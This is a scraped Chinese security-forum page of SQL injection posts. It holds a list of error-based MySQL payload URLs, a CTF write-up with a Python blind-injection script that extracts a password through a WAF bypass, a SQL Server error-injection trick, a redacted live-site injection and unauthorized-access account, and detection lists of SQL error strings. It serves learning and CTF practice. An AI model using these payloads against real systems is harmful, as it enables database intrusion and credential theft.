http://0.0.0.0:8001/test.php?name=111' and(updatexml (1,concat(0x7e,(select user()),0x73),1))%23&pass=1
4 GeometryCollection()
http://0.0.0.0:8001/test.php?name=111' and GeometryCollection((select [i] from(select [/i] from(select user())a)b))%23&pass=1
5 polygon()
http://0.0.0.0:8001/test.php?name=111' and polygon((select [i] from(select [/i] from(select user())a)b))%23&pass=1
6 multipoint()
http://0.0.0.0:8001/test.php?name=111' and multipoint((select [i] from(select [/i] from(select user())a)b))%23&pass=1
7 multilinestring()
http://0.0.0.0:8001/test.php?name=111' and multipolygon((select [i] from(select [/i] from(select user())a)b))%23&pass=1
8 multipolygon()
http://0.0.0.0:8001/test.php?name=111' and multipolygon((select [i] from(select [/i] from(select user())a)b))%23&pass=1
9 linestring()
http://0.0.0.0:8001/test.php?name=111' and linestring((select [i] from(select [/i] from(select user())a)b))%23&pass=1
10 NAME_CONST()
http://0.0.0.0:8001/test.php?name=111' and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)%23&pass=1
11 整数溢出
http://0.0.0.0:8001/test.php?name=aa' AND (select 1E308[i]if((select[/i]from(select version())a limit 1)>(select version()),2,2))%23&pass=1
12 EXP()
http://0.0.0.0:8001/test.php?name=a' and EXP(~(SELECT*FROM(SELECT version())a))%23&pass=1

既然预编译参数化查询可以防止sql注入,为什么还要用过滤sql关键字的方法去防御

回复

Web安全渗透reber 回复了问题 • 1 人关注 • 1 个回复 • 349 次浏览 • 2018-05-24 15:41 • 来自相关话题

求助!关于Github博客-Markdown编码问题

回复

安全资讯秋彼岸 回复了问题 • 6 人关注 • 2 个回复 • 722 次浏览 • 2017-01-09 12:02 • 来自相关话题

利用mysql的隐式类型转换绕过waf注入

Web安全渗透lawliet 发表了文章 • 5 个评论 • 934 次浏览 • 2018-05-21 00:30 • 来自相关话题

今天做的一道ctf题,要求绕过waf去注入,可以通过mysql隐式类型转换的特性去绕过waf,在这里记录下来供大家学习一下

题目地址:题目地址(比赛结束后可能会失效)
HINT:我都过滤了,看你怎么绕。记住是mysql
打开后看到是一个登陆框






结合题目提示猜测是去绕WAF注入,首先测试了一下,发现当用户名正确而密码错误时会返回password error,当用户名错误时会返回username error的错误,于是猜测可能存在盲注。

测试了一下,发现大概过滤了以下关键字#、,、union、--+、and、or、|、%26(&的url编码)简单来说,就是不能使用and,or等关键字进行逻辑判断去盲注,同样不能使用注释符去注释后面的语句。谷歌了一下相关的资料,发现这种情况可以利用mysql的隐式类型转换去绕过,类似于php的弱类型。所谓的隐式类型转换,简单来说,就是对mysql的字符类型进行一些加、减、取余等数字操作运算时,又或者是将字符类型与数字类型进行比较时,会将字符类型转为数字类型,比如mysql> select '45abcd'-'abc';
+----------------+
| '45abcd'-'abc' |
+----------------+
| 45 |
+----------------+
1 row in set, 2 warnings (0.02 sec)在这里将字符串45abcd转为了数字45,将字符串abc转为了数字0 于是可以得出不是以数字开头的字符串在进行隐式类型转换时都会转为数字0
再看mysql> select 'aaa'=0;
+---------+
| 'aaa'=0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)在这里将字符串aaa与数字0进行比较时将字符串aaa转为了数字0

再看以下语句mysql> select * from users where username=0;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec) 可以看到where username=0时会将数据表中所有数据类型查出来,因为username在数据库中的存储类型为varchar类型,也就是字符串类型,在进行比较时会将这些字符串类型全转为数字类型,所以不以数字开头的字符串都会被转成0,从而查询出所有结果

再看mysql> select * from users where username=''-'';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec) 可以看出当where username=''-''时会进行隐式类型转换,运算结果相当于where username=0,会返回所有结果

如果将中间的0变为1,相当于where username=-1,由于数据库里没有以-1开头的字符串,就会返回空mysql> select * from users where username=''-'';
Empty set (0.00 sec) 由此可以看出我们是可以在中间这个位置进行逻辑判断去盲注的

知道了这些后来返回题目看这道题,构造payload:
uname='-'&passwd=123456

这里用户名有查询结果,所以会返回password error








构造payload:

uname='-'&passwd=123456

而这里用户名没有查询结果,所以会返回username error的错误








按照这个思路,可以进行逻辑判断进行盲注,构造payload猜出数据库中passwd字段的长度uname='-(length(passwd)=passwd的长度)-'&passwd=123456当(length(passwd)=passwd的长度)为真时结果为1,也就是查不出用户名,会返回username error,为假时结果为0,会返回查询结果但是密码错误,也就会返回password error











通过这种方式可以判断出用户表中有一个长度为32字节的passwd字段

同样的可以通过这种方式判断出passwd字段中的值,用python写一个脚本即可,贴出我的代码import requests
url="http://118.190.152.202:8019/login.php"
passwd=""
for i in range(1,33):
for j in range(1,256):
data={
'uname':"'-(ascii(mid((passwd)from(%d)))=%d)-'"%(i,j),
'passwd':'admin'
}
html=requests.post(url,data=data).content
if "username error!!" in html:
passwd=passwd+chr(j)
print passwd
break为了更好的理解脚本,可以看看以下我测试时写的查询语句mysql> select mid((password)from(1)) from users;
+------------------------+
| mid((password)from(1)) |
+------------------------+
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select mid((password)from(2)) from users;
+------------------------+
| mid((password)from(2)) |
+------------------------+
| umb |
| -kill-you |
| @ssword |
| rappy |
| tupidity |
| enious |
| ob!le |
| dmin |
| dmin1 |
| dmin2 |
| dmin3 |
| umbo |
| dmin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(1))) from users;
+-------------------------------+
| ascii(mid((password)from(1))) |
+-------------------------------+
| 68 |
| 73 |
| 112 |
| 99 |
| 115 |
| 103 |
| 109 |
| 97 |
| 97 |
| 97 |
| 97 |
| 100 |
| 97 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(2))) from users;
+-------------------------------+
| ascii(mid((password)from(2))) |
+-------------------------------+
| 117 |
| 45 |
| 64 |
| 114 |
| 116 |
| 101 |
| 111 |
| 100 |
| 100 |
| 100 |
| 100 |
| 117 |
| 100 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=117)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+------------+
11 rows in set, 26 warnings (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=118)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set, 26 warnings (0.00 sec) 最后跑出密码






MD5在线解密一下




nishishabi1438用户名admin,密码nishishabi1438,登陆成功





  查看全部
今天做的一道ctf题,要求绕过waf去注入,可以通过mysql隐式类型转换的特性去绕过waf,在这里记录下来供大家学习一下

题目地址:题目地址(比赛结束后可能会失效)
HINT:我都过滤了,看你怎么绕。记住是mysql
打开后看到是一个登陆框

BKJ21D2858.png


结合题目提示猜测是去绕WAF注入,首先测试了一下,发现当用户名正确而密码错误时会返回password error,当用户名错误时会返回username error的错误,于是猜测可能存在盲注。

测试了一下,发现大概过滤了以下关键字
#、,、union、--+、and、or、|、%26(&的url编码)
简单来说,就是不能使用and,or等关键字进行逻辑判断去盲注,同样不能使用注释符去注释后面的语句。谷歌了一下相关的资料,发现这种情况可以利用mysql的隐式类型转换去绕过,类似于php的弱类型。所谓的隐式类型转换,简单来说,就是对mysql的字符类型进行一些加、减、取余等数字操作运算时,又或者是将字符类型与数字类型进行比较时,会将字符类型转为数字类型,比如
mysql> select '45abcd'-'abc';
+----------------+
| '45abcd'-'abc' |
+----------------+
| 45 |
+----------------+
1 row in set, 2 warnings (0.02 sec)
在这里将字符串45abcd转为了数字45,将字符串abc转为了数字0 于是可以得出不是以数字开头的字符串在进行隐式类型转换时都会转为数字0
再看
mysql> select 'aaa'=0;
+---------+
| 'aaa'=0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)
在这里将字符串aaa与数字0进行比较时将字符串aaa转为了数字0

再看以下语句
mysql> select * from users where username=0;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
可以看到where username=0时会将数据表中所有数据类型查出来,因为username在数据库中的存储类型为varchar类型,也就是字符串类型,在进行比较时会将这些字符串类型全转为数字类型,所以不以数字开头的字符串都会被转成0,从而查询出所有结果

再看
mysql> select * from users where username=''-'';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
可以看出当where username=''-''时会进行隐式类型转换,运算结果相当于where username=0,会返回所有结果

如果将中间的0变为1,相当于where username=-1,由于数据库里没有以-1开头的字符串,就会返回空
mysql> select * from users where username=''-'';
Empty set (0.00 sec)
由此可以看出我们是可以在中间这个位置进行逻辑判断去盲注的

知道了这些后来返回题目看这道题,构造payload:
uname='-'&passwd=123456

这里用户名有查询结果,所以会返回password error

E7FLDcFlBk.png




构造payload:

uname='-'&passwd=123456

而这里用户名没有查询结果,所以会返回username error的错误

5Adfbcg230.png




按照这个思路,可以进行逻辑判断进行盲注,构造payload猜出数据库中passwd字段的长度
uname='-(length(passwd)=passwd的长度)-'&passwd=123456
当(length(passwd)=passwd的长度)为真时结果为1,也就是查不出用户名,会返回username error,为假时结果为0,会返回查询结果但是密码错误,也就会返回password error

ebgKLjl969.png


6800eBgjbK.png


通过这种方式可以判断出用户表中有一个长度为32字节的passwd字段

同样的可以通过这种方式判断出passwd字段中的值,用python写一个脚本即可,贴出我的代码
import requests
url="http://118.190.152.202:8019/login.php"
passwd=""
for i in range(1,33):
for j in range(1,256):
data={
'uname':"'-(ascii(mid((passwd)from(%d)))=%d)-'"%(i,j),
'passwd':'admin'
}
html=requests.post(url,data=data).content
if "username error!!" in html:
passwd=passwd+chr(j)
print passwd
break
为了更好的理解脚本,可以看看以下我测试时写的查询语句
mysql> select mid((password)from(1)) from users;
+------------------------+
| mid((password)from(1)) |
+------------------------+
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select mid((password)from(2)) from users;
+------------------------+
| mid((password)from(2)) |
+------------------------+
| umb |
| -kill-you |
| @ssword |
| rappy |
| tupidity |
| enious |
| ob!le |
| dmin |
| dmin1 |
| dmin2 |
| dmin3 |
| umbo |
| dmin4 |
+------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(1))) from users;
+-------------------------------+
| ascii(mid((password)from(1))) |
+-------------------------------+
| 68 |
| 73 |
| 112 |
| 99 |
| 115 |
| 103 |
| 109 |
| 97 |
| 97 |
| 97 |
| 97 |
| 100 |
| 97 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select ascii(mid((password)from(2))) from users;
+-------------------------------+
| ascii(mid((password)from(2))) |
+-------------------------------+
| 117 |
| 45 |
| 64 |
| 114 |
| 116 |
| 101 |
| 111 |
| 100 |
| 100 |
| 100 |
| 100 |
| 117 |
| 100 |
+-------------------------------+
13 rows in set (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=117)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+------------+
11 rows in set, 26 warnings (0.00 sec)

mysql> select * from users where username='a'-(ascii(mid((password)from(2)))=118)-'b';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set, 26 warnings (0.00 sec)
最后跑出密码

6F8e68Ha50.png


MD5在线解密一下

hik351lm3b.png
nishishabi1438
用户名admin,密码nishishabi1438,登陆成功

J8h7d48C81.png

 

sql server update 报错注入

数据库SQL语言 发表了文章 • 1 个评论 • 572 次浏览 • 2017-09-22 11:06 • 来自相关话题

众测的时候碰到的,好像这个也没什么可写的。
update mosuan set xx=11,bb='xx',nobb=1 where id = 1
直接利用类型转换来报错就可以了。
update mosuan set xx=11,bb='xx'+db_name()+1+'',nobb=1 where id = 1
sql server字符串和数字进行比较的时候就会报错并把字符串的内容显示到错误上。
  查看全部
众测的时候碰到的,好像这个也没什么可写的。
update mosuan set xx=11,bb='xx',nobb=1 where id = 1

直接利用类型转换来报错就可以了。
update mosuan set xx=11,bb='xx'+db_name()+1+'',nobb=1 where id = 1

sql server字符串和数字进行比较的时候就会报错并把字符串的内容显示到错误上。
 

【答案已发】【SQL注入挑战】你好我是宇智波铁柱,英文名: .......

数据库SQL语言 发表了文章 • 4 个评论 • 656 次浏览 • 2017-08-02 21:11 • 来自相关话题

要求:报错注入,别扫描,拿到数据库里面flag{xxxxx}的字样
数据库名:sqltest
题目地址:sqltest233.0aa.me/sqltest/index.php?id=2017.08.03 10:00 更新:增加过滤单双引号;
2017.08.03 11:46 提示:多刷刷前几天的rss2017.08.03 14:07 提示2:join
 
答案在附件里面。
  查看全部
要求:报错注入,别扫描,拿到数据库里面flag{xxxxx}的字样
数据库名:sqltest  
题目地址:sqltest233.0aa.me/sqltest/index.php?id=
2017.08.03 10:00 更新:增加过滤单双引号;
2017.08.03 11:46 提示:多刷刷前几天的rss
2017.08.03 14:07 提示2:join
 
答案在附件里面。
 

百度SQL注入挑战赛payload

数据库SQL语言 发表了文章 • 4 个评论 • 501 次浏览 • 2017-07-21 22:13 • 来自相关话题

5月份的时候参加了一次百度的sql注入挑战赛,没有太多的亮点。
 
详情看附件吧。
 
转载带上Auther: Mosuan 就行。
5月份的时候参加了一次百度的sql注入挑战赛,没有太多的亮点。
 
详情看附件吧。
 
转载带上Auther: Mosuan 就行。

Mysql下Union注入Bypass安全狗(支持跨库查询)#2

Web安全渗透Mosuan 发表了文章 • 3 个评论 • 491 次浏览 • 2017-02-21 12:47 • 来自相关话题

在跟p神交流的时候他说了一句没有from就不算绕过,我再看了下安全狗,发现还有更好的方法过安全狗。
详情看附件。
 
在跟p神交流的时候他说了一句没有from就不算绕过,我再看了下安全狗,发现还有更好的方法过安全狗。
详情看附件。
 

记一次失败的注入到越权的过程

渗透测试Mosuan 发表了文章 • 3 个评论 • 626 次浏览 • 2017-02-10 13:55 • 来自相关话题

现在已经修复,由于厂商需要打码,所以只截取部分截图。
目标站:php+mysql  过滤单引号 转义双引号 有腾讯云和百度云加速。

url:www.xxxx.com/mybox?action=detail&id=255&type=receive​
这个是我测试的返回包





 
尝试修改id值为254没有返回值,说明sql语句判断了当前用户身份,这里忽略越权了。





 
尝试用or去判断发现查询回来第一条数据,可注入
www.xxxxx.com/mybox?action=detail&id=254%20or%202&type=receive





 
用函数去判断发现被腾讯 or 百度云加速拦截了....






经过反复测试猜测sql为:
select * from xxx where userid=xxx and id = 255(这里可控)
www.xxxxx.com/mybox?action=detail&id=255||1&type=receive  这里用||来判断,因为or 后面跟limit会被腾讯云拦截。 
 






按照我们之前的说法这样应该是查询出所有数据,他代码里面应该查询出的数据集只取第一条,所以返回的是id为1的数据。还在代码里面过滤单引号,转义双引号等....
利用limit注入出数据....
www.xxxxx.com/mybox?action=detail&id=255||1 limit 5,1&type=receive 





 
因为个人技术原因不深入了…两个宇宙waf太厉害了。失败的注入过程,勉强能越权。
  查看全部


现在已经修复,由于厂商需要打码,所以只截取部分截图。
目标站:php+mysql  过滤单引号 转义双引号 有腾讯云和百度云加速。


url:www.xxxx.com/mybox?action=detail&id=255&type=receive​
这个是我测试的返回包

1.png

 
尝试修改id值为254没有返回值,说明sql语句判断了当前用户身份,这里忽略越权了。

2.png

 
尝试用or去判断发现查询回来第一条数据,可注入
www.xxxxx.com/mybox?action=detail&id=254%20or%202&type=receive

3.png

 
用函数去判断发现被腾讯 or 百度云加速拦截了....

4.png


经过反复测试猜测sql为:
select * from xxx where userid=xxx and id = 255(这里可控)
www.xxxxx.com/mybox?action=detail&id=255||1&type=receive  这里用||来判断,因为or 后面跟limit会被腾讯云拦截。 
 

3.png


按照我们之前的说法这样应该是查询出所有数据,他代码里面应该查询出的数据集只取第一条,所以返回的是id为1的数据。还在代码里面过滤单引号,转义双引号等....
利用limit注入出数据....
www.xxxxx.com/mybox?action=detail&id=255||1 limit 5,1&type=receive 

6.png

 
因为个人技术原因不深入了…两个宇宙waf太厉害了。失败的注入过程,勉强能越权。
 

整理一些可能存在sql注入的报错信息

编程saline 发表了文章 • 6 个评论 • 1196 次浏览 • 2017-01-12 11:09 • 来自相关话题

常见的存在sql注入的页面plainArray = [
'Microsoft OLE DB Provider for ODBC Drivers',
'Error Executing Database Query',
'Microsoft OLE DB Provider for SQL Server',
'ODBC Microsoft Access Driver',
'ODBC SQL Server Driver',
'supplied argument is not a valid MySQL result',
'You have an error in your SQL syntax',
'Incorrect column name',
'Syntax error or access violation:',
'Invalid column name',
'Must declare the scalar variable',
'Unknown system variable',
'unrecognized token: ',
'undefined alias:',
'Can\'t find record in',
'Unknown table',
'Incorrect column specifier for column',
'Column count doesn\'t match value count at row',
'Unclosed quotation mark before the character string',
'Unclosed quotation mark',
'Call to a member function row_array() on a non-object in',
'Invalid SQL:',
'ERROR: parser: parse error at or near',
'): encountered SQLException [',
'Unexpected end of command in statement [',
'[ODBC Informix driver][Informix]',
'[Microsoft][ODBC Microsoft Access 97 Driver]',
'Incorrect syntax near ',
'[SQL Server Driver][SQL Server]Line 1: Incorrect syntax near',
'SQL command not properly ended',
'unexpected end of SQL command',
'Supplied argument is not a valid PostgreSQL result',
'internal error [IBM][CLI Driver][DB2/6000]',
'PostgreSQL query failed',
'Supplied argument is not a valid PostgreSQL result',
'pg_fetch_row() expects parameter 1 to be resource, boolean given in',
'unterminated quoted string at or near',
'unterminated quoted identifier at or near',
'syntax error at end of input',
'Syntax error in string in query expression',
'Error: 221 Invalid formula',
'java.sql.SQLSyntaxErrorException',
'SQLite3::query(): Unable to prepare statement:',
'<title>Conversion failed when converting the varchar value \'A\' to data type int.</title>',
'SQLSTATE=42603',
'org.hibernate.exception.SQLGrammarException:',
'org.hibernate.QueryException',
'System.Data.SqlClient.SqlException:',
'SqlException',
'SQLite3::SQLException:',
'Syntax error or access violation:',
'Unclosed quotation mark after the character string',
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near',
'PDOStatement::execute(): SQLSTATE[42601]: Syntax error:',
'<b>SQL error: </b> no such column'
];


常见存在sql注入页面的特征regexArray = [
"(Incorrect\ssyntax\snear\s'[^']*'),"
"(Syntax error: Missing operand after '[^']*' operator),"
"/Syntax error near\s.*?\sin the full-text search condition\s,"
"/column "\w{5}" does not exist,"
"/near\s[^:]+?:\ssyntax\serror,"
"(pg_query\(\)[:]*\squery\sfailed:\serror:\s),"
"('[^']*'\sis\snull\sor\snot\san\sobject),"
"(ORA-\d{4,5}:\s),"
"(Microsoft\sJET\sDatabase\sEngine\s\([^\)][i]\)<br>Syntax\serror(.[/i])\sin\squery\sexpression\s'.[i]\.<br><b>.[/i],\sline\s\d+<\/b><br>),"
"(<h2>\s<i>Syntax\serror\s(\([^\)][i]\))?(in\sstring)?\sin\squery\sexpression\s'[^\.][/i]\.<\/i>\s<\/h2><\/span>),"
"(<font\sface=\"Arial\"\ssize=2>Syntax\serror\s(.[i])?in\squery\sexpression\s'(.[/i])\.<\/font>),"
"(<b>Warning<\/b>:\s\spg_exec\(\)\s\[\<a\shref='function.pg\-exec\'\>function\.pg-exec\<\/a>\]\:\sQuery failed:\sERROR:\s\ssyntax error at or near \&quot\;\\\&quot; at character \d+ in\s<b>.*<\/b>),"
"(System\.Data\.OleDb\.OleDbException\:\sSyntax\serror\s\([^)][i]?\)\sin\squery\sexpression\s.[/i]),"
"(System\.Data\.OleDb\.OleDbException\:\sSyntax\serror\sin\sstring\sin\squery\sexpression\s),"
"(Data type mismatch in criteria expression|Could not update; currently locked by user '.[i]?' on machine '.[/i]?'),"
"(<font style="COLOR: black; FONT: 8pt\/11pt verdana">\s+(\[Macromedia\]\[SQLServer\sJDBC\sDriver\]\[SQLServer\]|Syntax\serror\sin\sstring\sin\squery\sexpression\s)),"
"(Unclosed\squotation\smark\safter\sthe\scharacter\sstring\s'[^']*'),"
"((<b>)?Warning(<\/b>)?:\s+(?:mysql_fetch_array|mysql_fetch_row|mysql_fetch_object|mysql_fetch_field|mysql_fetch_lengths|mysql_num_rows)\(\): supplied argument is not a valid MySQL result resource in (<b>)?.*?(<\/b>)? on line (<b>)?\d+(<\/b>)?),"
"((<b>)?Warning(<\/b>)?:\s+(?:mysql_fetch_array|mysql_fetch_row|mysql_fetch_object|mysql_fetch_field|mysql_fetch_lengths|mysql_num_rows)\(\) expects parameter \d+ to be resource, \w+ given in (<b>)?.*?(<\/b>)? on line (<b>)?\d+(<\/b>)?),"
"(You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[^']*' at line \d),"
"(Query\sfailed\:\sERROR\:\scolumn\s"[^"]*"\sdoes\snot\sexist\sLINE\s\d),"
"(Query\sfailed\:\sERROR\:\s+unterminated quoted string at or near),"
"(The string constant beginning with .*? does not have an ending string delimiter\.),"
"(Unknown column '[^']+' in '\w+ clause')"
]; 查看全部
常见的存在sql注入的页面
plainArray = [
'Microsoft OLE DB Provider for ODBC Drivers',
'Error Executing Database Query',
'Microsoft OLE DB Provider for SQL Server',
'ODBC Microsoft Access Driver',
'ODBC SQL Server Driver',
'supplied argument is not a valid MySQL result',
'You have an error in your SQL syntax',
'Incorrect column name',
'Syntax error or access violation:',
'Invalid column name',
'Must declare the scalar variable',
'Unknown system variable',
'unrecognized token: ',
'undefined alias:',
'Can\'t find record in',
'Unknown table',
'Incorrect column specifier for column',
'Column count doesn\'t match value count at row',
'Unclosed quotation mark before the character string',
'Unclosed quotation mark',
'Call to a member function row_array() on a non-object in',
'Invalid SQL:',
'ERROR: parser: parse error at or near',
'): encountered SQLException [',
'Unexpected end of command in statement [',
'[ODBC Informix driver][Informix]',
'[Microsoft][ODBC Microsoft Access 97 Driver]',
'Incorrect syntax near ',
'[SQL Server Driver][SQL Server]Line 1: Incorrect syntax near',
'SQL command not properly ended',
'unexpected end of SQL command',
'Supplied argument is not a valid PostgreSQL result',
'internal error [IBM][CLI Driver][DB2/6000]',
'PostgreSQL query failed',
'Supplied argument is not a valid PostgreSQL result',
'pg_fetch_row() expects parameter 1 to be resource, boolean given in',
'unterminated quoted string at or near',
'unterminated quoted identifier at or near',
'syntax error at end of input',
'Syntax error in string in query expression',
'Error: 221 Invalid formula',
'java.sql.SQLSyntaxErrorException',
'SQLite3::query(): Unable to prepare statement:',
'<title>Conversion failed when converting the varchar value \'A\' to data type int.</title>',
'SQLSTATE=42603',
'org.hibernate.exception.SQLGrammarException:',
'org.hibernate.QueryException',
'System.Data.SqlClient.SqlException:',
'SqlException',
'SQLite3::SQLException:',
'Syntax error or access violation:',
'Unclosed quotation mark after the character string',
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near',
'PDOStatement::execute(): SQLSTATE[42601]: Syntax error:',
'<b>SQL error: </b> no such column'
];


常见存在sql注入页面的特征
regexArray = [
"(Incorrect\ssyntax\snear\s'[^']*'),"
"(Syntax error: Missing operand after '[^']*' operator),"
"/Syntax error near\s.*?\sin the full-text search condition\s,"
"/column "\w{5}" does not exist,"
"/near\s[^:]+?:\ssyntax\serror,"
"(pg_query\(\)[:]*\squery\sfailed:\serror:\s),"
"('[^']*'\sis\snull\sor\snot\san\sobject),"
"(ORA-\d{4,5}:\s),"
"(Microsoft\sJET\sDatabase\sEngine\s\([^\)][i]\)<br>Syntax\serror(.[/i])\sin\squery\sexpression\s'.[i]\.<br><b>.[/i],\sline\s\d+<\/b><br>),"
"(<h2>\s<i>Syntax\serror\s(\([^\)][i]\))?(in\sstring)?\sin\squery\sexpression\s'[^\.][/i]\.<\/i>\s<\/h2><\/span>),"
"(<font\sface=\"Arial\"\ssize=2>Syntax\serror\s(.[i])?in\squery\sexpression\s'(.[/i])\.<\/font>),"
"(<b>Warning<\/b>:\s\spg_exec\(\)\s\[\<a\shref='function.pg\-exec\'\>function\.pg-exec\<\/a>\]\:\sQuery failed:\sERROR:\s\ssyntax error at or near \&quot\;\\\&quot; at character \d+ in\s<b>.*<\/b>),"
"(System\.Data\.OleDb\.OleDbException\:\sSyntax\serror\s\([^)][i]?\)\sin\squery\sexpression\s.[/i]),"
"(System\.Data\.OleDb\.OleDbException\:\sSyntax\serror\sin\sstring\sin\squery\sexpression\s),"
"(Data type mismatch in criteria expression|Could not update; currently locked by user '.[i]?' on machine '.[/i]?'),"
"(<font style="COLOR: black; FONT: 8pt\/11pt verdana">\s+(\[Macromedia\]\[SQLServer\sJDBC\sDriver\]\[SQLServer\]|Syntax\serror\sin\sstring\sin\squery\sexpression\s)),"
"(Unclosed\squotation\smark\safter\sthe\scharacter\sstring\s'[^']*'),"
"((<b>)?Warning(<\/b>)?:\s+(?:mysql_fetch_array|mysql_fetch_row|mysql_fetch_object|mysql_fetch_field|mysql_fetch_lengths|mysql_num_rows)\(\): supplied argument is not a valid MySQL result resource in (<b>)?.*?(<\/b>)? on line (<b>)?\d+(<\/b>)?),"
"((<b>)?Warning(<\/b>)?:\s+(?:mysql_fetch_array|mysql_fetch_row|mysql_fetch_object|mysql_fetch_field|mysql_fetch_lengths|mysql_num_rows)\(\) expects parameter \d+ to be resource, \w+ given in (<b>)?.*?(<\/b>)? on line (<b>)?\d+(<\/b>)?),"
"(You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[^']*' at line \d),"
"(Query\sfailed\:\sERROR\:\scolumn\s"[^"]*"\sdoes\snot\sexist\sLINE\s\d),"
"(Query\sfailed\:\sERROR\:\s+unterminated quoted string at or near),"
"(The string constant beginning with .*? does not have an ending string delimiter\.),"
"(Unknown column '[^']+' in '\w+ clause')"
];

对WAF的粗略见解

Web安全渗透秋彼岸 发表了文章 • 5 个评论 • 367 次浏览 • 2017-01-06 21:10 • 来自相关话题

对WAF的粗略见解(排版不好谅解)

    SQL注入产生,不做更多解释了,对于网站WAF,做渗透测试都遇到过,对于新兵,难免遇到抓脑,曾一度错误认为waf是进驻在进程中,监视监管web请求过来的数据,多说无益,请仔细阅读;

1.什么是WAF?

        Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。说直白点就是,过滤用户提交的请求,不用搞那么复杂;

2.WAF具备那些功能?

            1.审计设备
                对于系统自身安全相关的事件产生审计记录:比如:用户操作行为、安全策略操作行为;
            2.访问控制设备
                用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式。
            3.架构/网络设计工具
                当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
